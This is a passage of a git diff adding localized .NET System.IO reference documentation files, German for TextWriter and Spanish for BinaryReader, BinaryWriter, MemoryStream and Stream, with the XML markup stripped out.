dem Lesen von Daten begonnen werden soll. + Die maximale Anzahl der zu schreibenden Zeichen. + Die Länge des Puffers minus ist kleiner als . + Der -Parameter ist null. + + oder ist negativ. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines Dezimalwerts, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Der zu schreibende Dezimalwert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines 8-Byte-Gleitkommawerts, gefolgt von einem Zeichen für den Zeilenabschluss, in die Zeichenfolge oder den Stream. + Der zu schreibende 8-Byte-Gleitkommawert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 4-Byte-Ganzzahl mit Vorzeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Die zu schreibende 4-Byte-Ganzzahl mit Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 8-Byte-Ganzzahl mit Vorzeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Die zu schreibende 8-Byte-Ganzzahl mit Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt durch Aufrufen der ToString-Methode für ein Objekt die Textdarstellung dieses Objekts, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Das zu schreibende Objekt.Wenn null ist, wird nur das Zeichen für den Zeilenabschluss geschrieben. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung eines 4-Byte-Gleitkommawerts, gefolgt von einem Zeichen für den Zeilenabschluss, in die Zeichenfolge oder den Stream. + Der zu schreibende 4-Byte-Gleitkommawert. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt eine Zeichenfolge, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Die zu schreibende Zeichenfolge.Wenn null ist, wird nur das Zeichen für den Zeilenabschluss geschrieben. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt eine formatierte Zeichenfolge und eine neue Zeile in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (1 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge und eine neue Zeile in die Textzeichenfolge oder den Stream unter Verwendung der gleichen Semantik wie die -Methode. + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das erste zu formatierende und zu schreibende Objekt. + Das zweite zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (2 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge und eine neue Zeile unter Verwendung der gleichen Semantik wie bei . + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Das erste zu formatierende und zu schreibende Objekt. + Das zweite zu formatierende und zu schreibende Objekt. + Das dritte zu formatierende und zu schreibende Objekt. + + ist null. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer/gleich der Anzahl der zu formatierenden Objekte (3 für diese Methodenüberladung). + 1 + + + Schreibt eine formatierte Zeichenfolge und eine neue Zeile unter Verwendung der gleichen Semantik wie bei . + Eine kombinierte Formatierungszeichenfolge (siehe Hinweise). + Ein Objektarray mit 0 (null) oder mehr zu formatierenden und zu schreibenden Objekten. + Eine Zeichenfolge oder ein Objekt wird als null übergeben. + Der ist geschlossen. + E/A-Fehler. + + ist keine gültige kombinierte Formatzeichenfolge.- oder - Der Index eines Formatelements ist kleiner als 0 (null) oder größer oder gleich der Länge des -Arrays. + 1 + + + Schreibt die Textdarstellung einer 4-Byte-Ganzzahl ohne Vorzeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Die zu schreibende 4-Byte-Ganzzahl ohne Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt die Textdarstellung einer 8-Byte-Ganzzahl ohne Vorzeichen, gefolgt von einem Zeichen für den Zeilenabschluss, in die Textzeichenfolge oder den Stream. + Die zu schreibende 8-Byte-Ganzzahl ohne Vorzeichen. + Der ist geschlossen. + E/A-Fehler. + 1 + + + Schreibt ein Zeichen für den Zeilenabschluss asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Textstream zu schreibende Zeichen. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Array von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das in den Textstream zu schreibende Zeichenarray.Wenn das Zeichenarray null ist, wird nur das Zeichen für den Zeilenabschluss geschrieben. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt ein Teilarray von Zeichen, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Das Zeichenarray, aus dem Daten geschrieben werden sollen. + Die Zeichenposition im Puffer, an der mit dem Abrufen von Daten begonnen werden soll. + Die Anzahl der zu schreibenden Zeichen. + + ist null. + Der und ist größer als die Pufferlänge. + + oder ist negativ. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + Schreibt eine Zeichenfolge, gefolgt von einem Zeichen für den Zeilenabschluss, asynchron in die Textzeichenfolge oder den Stream. + Eine Aufgabe, die den asynchronen Schreibvorgang darstellt. + Die zu schreibende Zeichenfolge.Wenn der Wert null ist, wird nur ein Zeichen für den Zeilenabschluss geschrieben. + Der Textwriter wird freigegeben. + Der Textwriter wird derzeit von einem vorherigen Schreibvorgang verwendet. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netcore50/es/System.IO.xml b/packages/System.IO.4.3.0/ref/netcore50/es/System.IO.xml new file mode 100644 index 0000000..79ab9da --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netcore50/es/System.IO.xml @@ -0,0 +1,2090 @@ + + + + System.IO + + + + Lee tipos de datos primitivos como valores binarios en una codificación específica. + 2 + + + Inicializa una nueva instancia de la clase basada en la secuencia especificada y usando codificación UTF-8. + La secuencia de entrada. + La secuencia no admite la lectura, es null, o ya está cerrada. + + + Inicializa una nueva instancia de la clase basada en la secuencia y codificación de caracteres especificadas. + La secuencia de entrada. + Codificación de caracteres que se utilizará. + La secuencia no admite la lectura, es null, o ya está cerrada. + El valor de es null. + + + Inicializa una nueva instancia de la clase basada en la secuencia y la codificación de caracteres especificadas y, opcionalmente, deja la secuencia abierta. + La secuencia de entrada. + Codificación de caracteres que se utilizará. + true para dejar el flujo abierto después de desechar el objeto ; de lo contrario, false. + La secuencia no admite la lectura, es null, o ya está cerrada. + El valor de o es null. + + + Expone el acceso a la secuencia subyacente de . + Secuencia subyacente asociada a BinaryReader. + 2 + + + Libera todos los recursos usados por la instancia actual de la clase . + + + Libera los recursos no administrados usados que usa la clase y, de forma opcional, libera los recursos administrados. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Rellena el búfer interno con el número especificado de bytes leídos de la secuencia. + Número de bytes que se va a leer. + Se llega al final de la secuencia antes de se ha podido leer. + Se produce un error de E/S. + Solicitado es mayor que el tamaño del búfer interno. + + + Devuelve el siguiente carácter disponible y no hace avanzar la posición de bytes o caracteres. + Siguiente carácter que se va a leer, o -1 si no hay más caracteres disponibles o si la secuencia no admite la operación de búsqueda. + Se produce un error de E/S. + No se puede descodificar el carácter actual en el búfer de caracteres interno utilizando la seleccionado para la secuencia. + 2 + + + Lee los caracteres de la secuencia subyacente y hace avanzar la posición actual de la secuencia de acuerdo con la Encoding usada y el carácter concreto que se lea de la secuencia. + Siguiente carácter de la secuencia de entrada o -1 si no hay más caracteres disponibles en este momento. + Se produce un error de E/S. + La secuencia está cerrada. + 2 + + + Lee el número especificado de bytes de la secuencia, a partir del punto especificado en la matriz de bytes. + Número de bytes leídos en .Podría ser inferior al número de bytes solicitado si ese número de bytes no está disponible, o podría ser cero si se alcanza el final de la secuencia. + Búfer en el que se leen los datos. + Punto inicial del búfer en el que comienza la lectura. + Número de bytes que se va a leer. + La longitud del búfer menos es menor que . o bienEl número de caracteres descodificados para leer es mayor que .Esto puede pasar si un descodificador de Unicode devuelve caracteres de reserva o un par suplente. + El valor de es null. + + o es negativo. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee el número especificado de caracteres de la secuencia, a partir del punto especificado en la matriz de caracteres. + Número total de caracteres leídos en el búfer.Este podría ser inferior al número de caracteres solicitado si dicho número de caracteres no se encuentra disponible o podría ser cero si se alcanza el final de la secuencia. + Búfer en el que se leen los datos. + Punto inicial del búfer en el que comienza la lectura. + Número de caracteres que se va a leer. + La longitud del búfer menos es menor que . o bienEl número de caracteres descodificados para leer es mayor que .Esto puede pasar si un descodificador de Unicode devuelve caracteres de reserva o un par suplente. + El valor de es null. + + o es negativo. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero de 32 bits en formato comprimido. + Entero de 32 bits en formato comprimido. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + La secuencia está dañada. + + + Lee un valor Boolean de la secuencia actual y hace avanzar un byte la posición actual de la secuencia. + Es true si el byte es distinto de cero; en caso contrario, es false. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee el siguiente byte de la secuencia actual y hace avanzar un byte la posición actual de la secuencia. + Siguiente byte que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee el número especificado de bytes de la secuencia actual en una matriz de bytes y hace avanzar la posición actual en función del número de bytes leídos. + Matriz de bytes que contiene los datos leídos de la secuencia subyacente.Este podría ser inferior al número de bytes solicitado si se alcanza el final de la secuencia. + Número de bytes que se va a leer.Este valor debe ser 0 o un número no negativo o se producirá una excepción. + El número de caracteres descodificados para leer es mayor que .Esto puede pasar si un descodificador de Unicode devuelve caracteres de reserva o un par suplente. + Se produce un error de E/S. + La secuencia está cerrada. + + es negativo. + 2 + + + Lee el siguiente carácter de la secuencia actual y hace avanzar la posición actual de la secuencia de acuerdo con la Encoding usada y el carácter concreto que se lee de la secuencia. + Carácter que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + Se ha leído un carácter suplente. + 2 + + + Lee el número especificado de caracteres de la secuencia actual, devuelve los datos en una matriz de caracteres y hace avanzar la posición actual de acuerdo con la Encoding usada y el carácter concreto que se lee en la secuencia. + Matriz de caracteres que contiene los datos leídos de la secuencia subyacente.Podría ser inferior al número de caracteres solicitados si se alcanza el final de la secuencia. + Número de caracteres que se va a leer. + El número de caracteres descodificados para leer es mayor que .Esto puede pasar si un descodificador de Unicode devuelve caracteres de reserva o un par suplente. + La secuencia está cerrada. + Se produce un error de E/S. + + es negativo. + 2 + + + Lee un valor decimal de la secuencia actual y hace avanzar la posición actual de la secuencia dieciséis bytes. + Valor decimal que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un valor de punto flotante de 8 bytes de la secuencia actual y hace avanzar la posición actual de la secuencia en ocho bytes. + Valor de punto flotante de 8 bytes que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero con signo de 2 bytes en la secuencia actual y hace avanzar la posición actual de la secuencia en dos bytes. + Entero con signo de 2 bytes que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero con signo de 4 bytes en la secuencia actual y hace avanzar la posición actual de la secuencia en cuatro bytes. + Entero con signo de 4 bytes que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero con signo de 8 bytes de la secuencia actual y avanza la posición actual de la secuencia en ocho bytes. + Entero con signo de 8 bytes que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un byte con signo de esta secuencia y hace avanzar la posición actual de la secuencia en un byte. + Byte con signo que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un valor de punto flotante de 4 bytes en la secuencia actual y hace avanzar la posición actual de la secuencia en cuatro bytes. + Valor de punto flotante de 4 bytes que se lee en la secuencia actual. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee una cadena de la secuencia actual.La cadena tiene como prefijo la longitud, codificada como un entero de siete bits cada vez. + Cadena que se lee. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero sin signo de 2 bytes de la secuencia actual con la codificación "little-endian" y hace avanzar la posición de la secuencia en dos bytes. + Entero sin signo de 2 bytes que se lee en esta secuencia. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero sin signo de 4 bytes de la secuencia actual y hace avanzar la posición de la secuencia en cuatro bytes. + Entero sin signo de 4 bytes que se lee en esta secuencia. + Se llega al final de la secuencia. + La secuencia está cerrada. + Se produce un error de E/S. + 2 + + + Lee un entero sin signo de 8 bytes de la secuencia actual y hace avanzar la posición de la secuencia en ocho bytes. + Entero sin signo de 8 bytes que se lee en esta secuencia. + Se llega al final de la secuencia. + Se produce un error de E/S. + La secuencia está cerrada. + 2 + + + Escribe tipos primitivos en binario en una secuencia y admite escribir cadenas en una codificación específica. + 2 + + + Inicializa una nueva instancia de la clase que escribe en una secuencia. + + + Inicializa una nueva instancia de la clase basada en la secuencia y usando codificación UTF-8. + Flujo de salida. + La secuencia no admite escritura o ya se encuentra cerrada. + + es null. + + + Inicializa una nueva instancia de la clase basada en la secuencia y codificación de caracteres especificadas. + Flujo de salida. + Codificación de caracteres que se utilizará. + La secuencia no admite escritura o ya se encuentra cerrada. + El valor de o de es null. + + + Inicializa una nueva instancia de la clase basada en la secuencia y la codificación de caracteres especificadas y, opcionalmente, dejando abierta la secuencia. + Flujo de salida. + Codificación de caracteres que se utilizará. + true para dejar la secuencia abierta después de desechar el objeto ; de lo contrario, false. + La secuencia no admite escritura o ya se encuentra cerrada. + El valor de o de es null. + + + Obtiene la secuencia subyacente del objeto . + Flujo subyacente asociado a BinaryWriter. + 1 + + + Libera todos los recursos usados por la instancia actual de la clase . + + + Libera los recursos no administrados que utiliza y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Borra todos los búferes del sistema de escritura actual y hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente. + 1 + + + Especifica un objeto sin memoria auxiliar. + 1 + + + Contiene la secuencia subyacente. + + + Establece la posición en la secuencia actual. + Posición con la secuencia actual. + Desplazamiento de bytes relacionado con . + Un campo de que indica el punto de referencia del que se obtiene la nueva posición. + El puntero de archivo se ha movido a una posición no válida. + El valor de no es válido. + 1 + + + Escribe un valor Boolean de un byte en la secuencia actual, que es 0 si es false y 1 si es true. + Valor Boolean que se va a escribir (0 ó 1). + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un byte sin signo en la secuencia actual y avanza la posición de la secuencia en un byte. + Byte sin signo que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe una matriz de bytes en la secuencia subyacente. + Matriz de bytes que contiene los datos que se van a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + + es null. + 1 + + + Escribe una región de una matriz de bytes en la secuencia actual. + Matriz de bytes que contiene los datos que se van a escribir. + Punto inicial de donde comenzará la escritura. + Número de bytes que se van a escribir. + La longitud del búfer menos es menor que . + + es null. + + o son negativos. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un carácter Unicode en la secuencia actual y avanza la posición actual de la secuencia de acuerdo con el Encoding utilizado y los caracteres específicos escritos en la secuencia. + El carácter Unicode no suplente que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + + es un carácter suplente único. + 1 + + + Escribe una matriz de caracteres en la secuencia actual y avanza la posición actual de la secuencia de acuerdo con el Encoding utilizado y los caracteres específicos escritos en esa secuencia. + Matriz de caracteres que contiene los datos que se van a escribir. + + es null. + La secuencia está cerrada. + Se produce un error de E/S. + 1 + + + Escribe una sección de una matriz de caracteres en la secuencia actual y avanza la posición actual de la secuencia de acuerdo con el Encoding utilizado y quizás los caracteres específicos que se escriben en la secuencia. + Matriz de caracteres que contiene los datos que se van a escribir. + Punto inicial de donde se empieza a leer. + Número de caracteres que se van a escribir. + La longitud del búfer menos es menor que . + + es null. + + o son negativos. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un valor decimal en la secuencia actual y avanza la posición de la secuencia en dieciséis bytes. + Valor decimal que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un valor de punto flotante de ocho bytes en la secuencia actual y avanza la posición de la secuencia en ocho bytes. + Valor de punto flotante de ocho bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero con signo de dos bytes en la secuencia actual y avanza la posición de la secuencia en dos bytes. + Entero con signo de dos bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero con signo de cuatro bytes en la secuencia actual y avanza la posición de la secuencia en cuatro bytes. + Entero con signo de cuatro bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero con signo de ocho bytes en la secuencia actual y avanza la posición de la secuencia en ocho bytes. + Entero con signo de ocho bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un byte con signo en la secuencia actual y avanza la posición de la secuencia en un byte. + Byte con signo que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un valor de punto flotante de cuatro bytes en la secuencia actual y avanza la posición de la secuencia en cuatro bytes. + Valor de punto flotante de cuatro bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe una cadena de longitud prefijada en esta secuencia en la codificación actual de y hace avanzar la posición actual de la secuencia de acuerdo con la codificación utilizada y los caracteres específicos escritos en dicha secuencia. + Valor que se va a escribir. + Se produce un error de E/S. + + es null. + La secuencia está cerrada. + 1 + + + Escribe un entero sin signo de dos bytes en la secuencia actual y avanza la posición de la secuencia en dos bytes. + Entero sin signo de dos bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero sin signo de cuatro bytes en la secuencia actual y avanza la posición de la secuencia en cuatro bytes. + Entero sin signo de cuatro bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero sin signo de ocho bytes en la secuencia actual y avanza la posición de la secuencia en ocho bytes. + Entero sin signo de ocho bytes que se va a escribir. + Se produce un error de E/S. + La secuencia está cerrada. + 1 + + + Escribe un entero de 32 bits en formato comprimido. + Entero de 32 bits que se va a escribir. + Se llega al final de la secuencia. + La secuencia está cerrada. + La secuencia está cerrada. + + + Excepción que se produce cuando se intenta realizar una operación de lectura más allá del final de una secuencia. + 2 + + + Inicializa una nueva instancia de la clase con la cadena de mensaje establecida en un mensaje proporcionado por el sistema y HRESULT establecido en COR_E_ENDOFSTREAM. + + + Inicializa una nueva instancia de la clase con la cadena de mensaje establecida en y HRESULT en COR_E_ENDOFSTREAM. + Cadena que describe el error.Se pretende que el contenido de sea inteligible.El llamador de este constructor debe asegurarse de que esta cadena se ha traducido para la actual referencia cultural del sistema. + + + Inicializa una nueva instancia de la clase con un mensaje de error especificado y una referencia a la excepción interna que representa la causa de esta excepción. + Cadena que describe el error.Se pretende que el contenido de sea inteligible.El llamador de este constructor debe asegurarse de que esta cadena se ha traducido para la actual referencia cultural del sistema. + La excepción que es la causa de la excepción actual.Si el parámetro no es null, la excepción actual se produce en un bloque catch que controla la excepción interna. + + + Excepción que se inicia cuando el formato de un flujo de datos no es válido. + + + Inicializa una nueva instancia de la clase . + + + Inicializa una nueva instancia de la clase con el mensaje de error especificado. + Mensaje de error que explica la razón de la excepción. + + + Inicializa una nueva instancia de la clase con una referencia a la excepción interna que representa la causa de esta excepción. + Mensaje de error que explica la razón de la excepción. + La excepción que es la causa de la excepción actual.Si el parámetro no es null, la excepción actual se produce en un bloque catch que controla la excepción interna. + + + Crea una secuencia cuya memoria auxiliar es la memoria.Para examinar el código fuente de .NET Framework para este tipo, consulte el Reference Source. + 2 + + + Inicializa una nueva instancia de la clase con una capacidad expansible inicializada con un valor cero. + + + Inicializa una nueva instancia invariable de la clase de acuerdo con la matriz de bytes especificada. + Matriz de bytes sin signo a partir de la cual se crea la secuencia actual. + El valor de es null. + + + Inicializa una nueva instancia invariable de la clase según la matriz de bytes especificada con la propiedad establecida como se ha indicado. + Matriz de bytes sin signo a partir de la cual se crea esta secuencia. + Establecimiento de la propiedad , que determina si la secuencia admite escritura. + El valor de es null. + + + Inicializa una nueva instancia invariable de la clase según la región especificada (índice) de una matriz de bytes. + Matriz de bytes sin signo a partir de la cual se crea esta secuencia. + Índice en en el que empieza la secuencia. + Longitud de la secuencia en bytes. + El valor de es null. + + o es menor que cero. + La longitud del búfer menos es menor que . + + + Inicializa una nueva instancia invariable de la clase según la región especificada de una matriz de bytes, con la propiedad establecida como se ha indicado. + Matriz de bytes sin signo a partir de la cual se crea esta secuencia. + Índice en en el que empieza la secuencia. + Longitud de la secuencia en bytes. + Establecimiento de la propiedad , que determina si la secuencia admite escritura. + El valor de es null. + + o son negativos. + La longitud del búfer menos es menor que . + + + Inicializa una nueva instancia de la clase según la región especificada de una matriz de bytes, con la propiedad establecida como se ha indicado y la posibilidad de llamar a establecida según lo especificado. + Matriz de bytes sin signo a partir de la cual se crea esta secuencia. + Índice en en el que empieza la secuencia. + Longitud de la secuencia en bytes. + Establecimiento de la propiedad , que determina si la secuencia admite escritura. + Es true para habilitar , que devuelve la matriz de bytes sin signo desde la cual se creó la secuencia; de lo contrario, es false. + El valor de es null. + + o es negativo. + La longitud del búfer menos es menor que . + + + Inicializa una nueva instancia de la clase con una capacidad expansible inicializada según lo especificado. + Tamaño inicial de la matriz interna en bytes. + + es negativo. + + + Obtiene un valor que indica si la secuencia actual admite lectura. + true si el flujo está abierto. + 2 + + + Obtiene un valor que indica si la secuencia actual admite búsquedas. + true si el flujo está abierto. + 2 + + + Obtiene un valor que indica si la secuencia actual admite escritura. + true si el flujo admite escritura; en caso contrario, false. + 2 + + + Obtiene o establece el número de bytes asignados a esta secuencia. + Longitud de la parte utilizable del búfer para la secuencia. + Se establece una capacidad de modo que sea negativa o menor que la longitud actual de la secuencia. + La secuencia actual está cerrada. + set se invoca en una secuencia cuya capacidad no se puede modificar. + 2 + + + Lee asincrónicamente todos los bytes de la secuencia actual y los escribe en otra secuencia, utilizando el tamaño de búfer especificado y el token de cancelación. + Tarea que representa la operación de copia asincrónica. + Secuencia en la que se copiará el contenido de la secuencia actual. + Tamaño del búfer en bytes.Este valor debe ser mayor que cero. + Token para supervisar solicitudes de cancelación. + El valor de es null. + + es un valor negativo o es cero. + Se desecha la secuencia actual o la secuencia de destino. + La secuencia actual no admite lectura o la secuencia de destino no admite escritura. + + + Libera los recursos no administrados usados que usa la clase y, de forma opcional, libera los recursos administrados. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Reemplaza el método de modo que no se realice ninguna acción. + 2 + + + De forma asincrónica borra todos los búferes de esta secuencia y supervisa las solicitudes de cancelación. + Tarea que representa la operación de vaciado asincrónico. + Token para supervisar solicitudes de cancelación. + Se ha eliminado la secuencia. + + + Obtiene la longitud de la secuencia en bytes. + Longitud de la secuencia en bytes. + La secuencia está cerrada. + 2 + + + Obtiene o establece la posición actual dentro de la secuencia. + Posición actual dentro de la secuencia. + La posición se establece en un valor negativo o un valor mayor que . + La secuencia está cerrada. + 2 + + + Lee un bloque de bytes de la secuencia actual y escribe los datos en un búfer. + Número total de bytes escritos en el búfer.Puede ser menor que el número de bytes solicitado si ese número de bytes no está disponible, o bien puede ser cero si se alcanza el final de la secuencia antes de que se lea algún byte. + Cuando este método finaliza, contiene la matriz de bytes especificada con valores entre y ( + - 1) reemplazada con los caracteres leídos de la secuencia actual. + Posición de desplazamiento en bytes de base cero de en el que se comienza a almacenar los datos de la secuencia actual. + Número máximo de bytes que se pueden leer. + El valor de es null. + + o es negativo. + + resta de la longitud del búfer es menor que . + La instancia de la secuencia actual está cerrada. + 2 + + + Lee de forma asincrónica una secuencia de bytes en la secuencia actual, se hace avanzar la posición dentro de la secuencia el número de bytes leídos y controla las solicitudes de cancelación. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la secuencia. + Búfer en el que se escriben los datos. + Posición de desplazamiento en bytes de donde se comienza a escribir los datos del flujo. + Número máximo de bytes que se pueden leer. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no admite lectura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de lectura anterior. + + + Lee un byte de la secuencia actual. + El byte convertido en un o -1 si se llega al final de la secuencia. + La instancia de la secuencia actual está cerrada. + 2 + + + Establece la posición dentro de la secuencia actual en el valor especificado. + Nueva posición dentro de la secuencia, calculada mediante la combinación del punto de referencia inicial y del desplazamiento. + Nueva posición dentro de la secuencia.Esta está relacionada con el parámetro y puede ser positiva o negativa. + Valor de tipo , que actúa como el punto de referencia de las operaciones de búsqueda. + Se ha intentado realizar una búsqueda antes del inicio de la secuencia. + + es mayor que . + Hay un no válido . o bien se produjo un desbordamiento aritmético. + La instancia de la secuencia actual está cerrada. + 2 + + + Establece la longitud de la secuencia actual en el valor especificado. + Valor en el que establecer la longitud. + La secuencia actual no es de tamaño variable y es mayor que la capacidad actual.o bien La secuencia actual no admite escritura. + + es negativo o es mayor que la longitud máxima de la , donde la longitud máxima es ( -origin), y el origen es el índice del búfer subyacente donde comienza la secuencia. + 2 + + + Escribe el contenido de la secuencia en una matriz de bytes, independientemente de la propiedad . + Nueva matriz de bytes. + 2 + + + Devuelve la matriz de bytes sin signo a partir de la cual se creó esta secuencia.El valor devuelto indica si la conversión se realizó correctamente. + Es true si la conversión se realiza correctamente; en caso contrario, es false. + El segmento de matriz de bytes desde el que se creó esta secuencia. + + + Escribe un bloque de bytes en la secuencia actual usando los datos leídos en un búfer. + Búfer del que se van a escribir datos. + Desplazamiento en bytes de base cero en la en la que se comienzan a copiar los bytes en la secuencia actual. + Número máximo de bytes que se pueden escribir. + El valor de es null. + La secuencia no es compatible con la escritura.Para obtener más información, vea .o bien La posición actual está más cerca que bytes al final de la secuencia y la capacidad no se puede modificar. + + resta de la longitud del búfer es menor que . + + o son negativos. + Se produce un error de E/S. + La instancia de la secuencia actual está cerrada. + 2 + + + Escribe de forma asincrónica una secuencia de bytes en la secuencia actual, se hace avanzar la posición actual dentro de la secuencia el número de bytes escritos y controla las solicitudes de cancelación. + Tarea que representa la operación de escritura asincrónica. + Búfer del que se van a escribir datos. + Desplazamiento en bytes de base cero de desde donde se comienzan a copiar los bytes en la secuencia. + Número máximo de bytes que se pueden escribir. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no es compatible con la escritura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de escritura anterior. + + + Escribe un byte en la posición actual de la secuencia actual. + Byte que se va a escribir. + La secuencia no es compatible con la escritura.Para obtener más información, vea .o bien La posición actual se encuentra al final de la secuencia y la capacidad no se puede modificar. + La secuencia actual está cerrada. + 2 + + + Escribe el contenido completo de esta secuencia de memoria en otra secuencia. + Secuencia en la que se va a escribir esta secuencia de memoria. + El valor de es null. + La secuencia actual o de destino está cerrada. + 2 + + + Especifica la posición usada para buscar en una secuencia. + 2 + + + Especifica el comienzo de una secuencia. + + + Especifica lo posición actual dentro de la secuencia. + + + Especifica el final de una secuencia. + + + Proporciona una vista genérica de una secuencia de bytes.Esta es una clase abstracta.Para examinar el código fuente de .NET Framework para este tipo, consulte el Reference Source. + 2 + + + Inicializa una nueva instancia de la clase . + + + Cuando se reemplaza en una clase derivada, obtiene un valor que indica si la secuencia actual admite lectura. + true si la secuencia admite lectura; en caso contrario, false. + 1 + + + Cuando se reemplaza en una clase 